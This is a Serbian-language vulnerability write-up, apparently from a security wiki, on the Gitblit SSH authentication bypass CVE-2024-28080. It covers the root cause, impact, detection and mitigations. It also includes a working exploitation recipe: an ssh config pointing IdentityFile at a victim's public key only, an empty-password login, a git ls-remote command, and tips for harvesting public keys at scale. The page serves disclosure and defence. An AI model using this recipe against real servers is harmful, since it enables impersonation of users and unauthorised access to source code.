Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)

Sažetak

CVE-2024-28080 je bypass autentifikacije u ugrađenoj SSH usluzi Gitblit-a zbog netačnog rukovanja stanjem sesije prilikom integracije sa Apache MINA SSHD. Ako korisnički nalog ima registrovan bar jedan SSH public key, napadač koji zna username i bilo koji od tog korisnikovih public keys može se autentifikovati bez privatnog ključa i bez lozinke.

Pogođeno: Gitblit < 1.10.0 (uočeno na 1.9.3)
Ispravljeno: 1.10.0
Zahtevi za eksploataciju:
Git over SSH omogućen na instanci
Žrtvin nalog ima registrovan bar jedan SSH public key u Gitblit-u
Napadač zna žrtvino username i jedan od njihovih public keys (često otkrivljivo, npr. https://github.com/.keys)

Uzrok (state leaks between SSH methods)

U RFC 4252, public‑key authentication ide u dve faze: server prvo proverava da li je ponuđeni public key prihvatljiv za dati username, i tek nakon challenge/response sa signature autentifikuje korisnika. U MINA SSHD, PublickeyAuthenticator se poziva dvaput: pri prihvatanju ključa (još bez signature) i kasnije nakon što klijent vrati signature.

Gitblit-ov PublickeyAuthenticator je mutirao kontekst sesije pri prvom, pre‑signature pozivu vezujući autentifikovani UserModel za sesiju i vraćajući true ("key acceptable"). Kada se autentifikacija kasnije prebacila na password, PasswordAuthenticator je verovao tom izmenjenom stanju sesije i prečicom vratio uspeh, vraćajući true bez validacije password-a. Kao rezultat, bilo koja password (uključujući praznu) je bila prihvaćena nakon prethodnog public‑key "acceptance" za istog korisnika.

High‑level flawed flow:

Client nudi username + public key (još bez signature)
Server prepoznaje ključ kao pripadajući korisniku i prerano prikači user u sesiju, vraćajući true ("acceptable")
Client ne može da potpiše (nema private key), pa autentifikacija pada na password
Password auth vidi da user već postoji u sesiji i bezuslovno vraća success

Koraci za eksploataciju

Sakupite žrtvino username i jedan od njihovih public keys:
- GitHub izlaže public keys na https://github.com/.keys
- Javne servere često izlažu authorized_keys
Konfigurišite OpenSSH da prezentuje samo public half tako da generisanje signature zakaže, prisiljavajući fallback na password dok i dalje pokreće public‑key acceptance put na serveru.

Example SSH client config (no private key available):

# ~/.ssh/config
Host gitblit-target
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub   # public half only (no private key present)

Povežite se i na promptu za lozinku pritisnite Enter (ili unesite bilo koji tekst):

ssh gitblit-target
# or Git over SSH
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>

Autentifikacija uspeva zato što je ranija public‑key faza izmenila sesiju i postavila je na autentifikovanog korisnika, a password auth pogrešno veruje tom stanju.

Napomena: Ako je ControlMaster multiplexing omogućen u vašoj SSH konfiguraciji, naknadne Git komande mogu ponovo koristiti autentifikovanu konekciju, čime se povećava uticaj.

Impact

Full impersonation of any Gitblit user with at least one registered SSH public key
Read/write access to repositories per victim’s permissions (source exfiltration, unauthorized pushes, supply‑chain risks)
Potential administrative impact if targeting an admin user
Pure network exploit; no brute force or private key required

Detection ideas

Pregledajte SSH logove za sekvence gde pokušaj publickey bude praćen uspešnom password autentifikacijom sa praznim ili vrlo kratkim password‑om
Tražite tokove: publickey method koja nudi unsupported/mismatched key material praćena neposrednim uspehom password metode za isto korisničko ime

Mitigations

Upgrade to Gitblit v1.10.0+
Dok se ne izvrši nadogradnja:
Disable Git over SSH on Gitblit, or
Ograničite mrežni pristup SSH servisu, i
Monitor for suspicious patterns described above
Rotate affected user credentials if compromise is suspected

Opšte: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)

Pattern: Ako serverov public‑key authenticator mutira korisničko/sesijsko stanje tokom pre‑signature "key acceptable" faze i drugi authenticators (npr. password) veruju tom stanju, možete zaobići autentifikaciju na sledeći način:

Presenting a legitimate public key for the target user (no private key)
Forcing the client to fail signing so the server falls back to password
Supplying any password while the password authenticator short‑circuits on leaked state

Praktični saveti:

Public key harvesting at scale: pull public keys from common sources such as https://github.com/.keys, organizational directories, team pages, leaked authorized_keys
Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
MINA SSHD integration pitfalls:
PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature
PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method

Povezane protokolarne/dizajnerske beleške i literatura:

SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior

6.4 KiB Raw Blame History Unescape Escape